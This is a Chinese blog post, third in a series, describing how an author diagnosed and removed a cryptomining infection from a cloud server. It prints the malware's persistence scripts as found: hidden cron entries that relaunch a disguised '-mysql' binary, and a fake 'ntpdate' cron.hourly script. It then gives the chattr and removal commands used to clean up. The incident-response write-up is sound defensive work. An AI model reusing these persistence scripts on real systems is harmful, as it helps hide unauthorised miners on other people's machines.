云服務器中挖礦病毒的清除過程(三)

背景

服務器CPU使用率50%,被兩個進程占用,名稱分別為
-mysql
zfsutils-md5sum


image.png

診斷

使用crontab -l查看定時任務,發現病毒文件-mysql

[root@server1 ~]# crontab -l
* * * * * /var/.log/-mysql > /dev/null <&1 2>&1 & disown
@monthly /var/.log/-mysql > /dev/null <&1 2>&1 & disown
@reboot /var/.log/-mysql > /dev/null <&1 2>&1 & disown

查看這個/var/.log/目錄,發現更多病毒文件,-mysql是個腳本,內容如下

[root@server1 .log]# ll
total 2904
-rwxr-xr-x. 1 root root 1087356 Dec 17  2020 i686
-rwxr-xr-x. 1 root root     115 Dec 29 01:16 -mysql
-rwxr-xr-x. 1 root root 1878380 Feb 15  2021 x86_64
[root@server1 .log]# cat ./-mysql
#!/bin/bash
cd -- /var/.log
mkdir -- .-mysql
cp -f -- x86_64 .-mysql/-mysql
./.-mysql/-mysql -c
rm -rf -- .-mysql

查看/etc/crontab.daily目錄,發現一個文件名為ntpdate

[root@server1 cron.hourly]# cat /etc/cron.hourly/ntpdate
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysprg /usr/bin/-mysql 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-mysql -c >/dev/null
rm -rf -- -mysql 2>/dev/null

/bin/sysprg創建日期與ntupdate是同一天,文件大小與x86_64相同,無疑也是個病毒文件。

清除病毒

  1. 殺掉進程
  2. 刪除crontab -e 中的內容,但是發現無法刪除
[root@server1 nps]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.XXXXGFRvjK to /var/spool/cron/root
rename: Operation not permitted
crontab: edits left in /tmp/crontab.Bw1XGv

進入到/var/spool/cron目錄查看文件權限,發現被加了保護,使用lsattr去除,再編輯刪除內容即可

[root@server1 cron]# lsattr ./root
----i--------e- ./root
[root@server1 cron]# chattr -ia ./root
[root@server1 cron]# crontab -e
crontab: installing new crontab
  1. 清除/etc/crontab.xxx中的文件ntpdate,發現都被加了保護無法刪除,同樣適用lsattr進行權限去除
    注意/etc/sysconfig/ntpdate不要刪除
[root@server1 /etc]# chattr -ia `find . -name "ntpdate"`
[root@server1 /etc]# rm /etc/cron.daily/ntpdate
  1. 清除病毒文件
[root@server1 /var]# rm /var/.log -rf
[root@server1 /var]# chattr -ia /bin/sysprg
[root@server1 /var]# rm /bin/sysprg -rf

防范措施

禁用crontab

service crond stop
mv /var/spool/cron  /var/spool/cron_is_disabled

關聯文章

云服務器中挖礦病毒的清除過程(一)
云服務器中挖礦病毒的清除過程(二)

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容